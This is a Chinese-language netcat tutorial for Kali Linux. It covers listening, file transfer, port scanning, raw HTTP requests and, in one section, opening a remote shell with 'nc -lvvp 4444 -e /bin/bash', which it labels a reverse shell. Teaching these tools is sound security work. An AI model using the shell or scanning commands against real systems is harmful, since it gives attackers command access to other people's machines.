声明!
文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!
目录标题
此工具无需安装,kali自带
前言
在Kali Linux中,nc 命令(即Netcat)是一个功能强大的网络工具,它可以用于网络调试和网络服务。Netcat可以作为一个简单的TCP或UDP客户端,也可以作为一个服务器来监听传入的连接。
基本使用
nc -help
查看使用帮助
翻译如下:
连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]
选项:
-c shell命令 作为'-e';使用/bin/sh来执行(非常危险!!)
-e 文件名 连接后执行程序(非常危险!!)
-b 允许广播
-g 网关 源路由跳转点(s),最多8个
-G 数量 源路由指针:4、8、12,...
-h 这个帮助
-i secs 发送行的延迟间隔,扫描的端口
-k 在套接字上设置保持活动选项
-l 监听模式,用于传入连接
-n 仅数字IP地址,无DNS
-o 文件 流量的十六进制转储
-p 端口 本地端口号
-r 随机化本地和远程端口
-q secs 在标准输入上接收到EOF后退出,并延迟关闭连接
-s 本地源地址 本地源地址
-T tos 设置服务类型
-t 应答TELNET协商
-u UDP模式
-v 详细(使用两次会更详细)
-w secs 连接和最终读取的超时时间
-C 将CRLF作为行结束符发送
-z 零 - I/O模式(用于扫描)
端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。
以上命令可以结合一起使用,如下
nc -lvvp 4444 :更加详细监听4444端口
1. 使用监听并连接
直接监听端口或者监听对应网站的端口
nc -l port
nc 域名 port
监听后如下
ctrl+c即可退出监听
连接输入ip和端口即可
nc ip port
使用UDP监听
因为nc默认监听方式是TCP,有时需要使用UDP
nc -lup port
nc -u 域名 port
2. 发送和接收文件
首先开启两个端口并创建两个文件
在a.txt写入hello
echo 'hello' > a.txt
nc -lvvp 4444 > 1.txt 监听4444端口并将接收的内容输入到1.txt
nc ip 4444 < a.txt 连接此ip的4444端口并将a.txt内容发送
结果如下
比较文档MD5值
md5sum 1.txt
md5sum a.txt
通过MD5值可以比较文件或数据的完整性和一致性
3. 反弹shell
攻击机需要连接监听端口,目标机开启端口并开通/bin/bash权限
-e 连接后执行参数(比较危险的参数)
nc -lvvp 4444 -e /bin/bash
或者 nc -nvlp 4444 -e /bin/bash
nc ip 4444
只要连接了目标主机就会自动执行/bin/bash ,从而获得权限
4. 扫描端口
开启4444端口并执行扫描
-znv : 详细扫描端口
nc -lvvp 4444
nc -znv ip 4000-4500
可以看到成功扫描了端口
同样的,使用nmap扫描也是可以的
nmap ip
nmap ip -p 1-65535
成功扫描
5. 发送HTTP请求
开启一个web服务,有1.txt和a.txt两个文件
执行完连接命令,可以在命令交互面板,执行下面三条语句构造一个http请求
nc 127.0.0.1 80
GET / HTTP/1.1 GET方式
Host: 127.0.0.1 域名或ip
Connection: close 执行完毕后关闭
可以看到成功执行了命令并回显在了面板,不过这种方法不是特别方便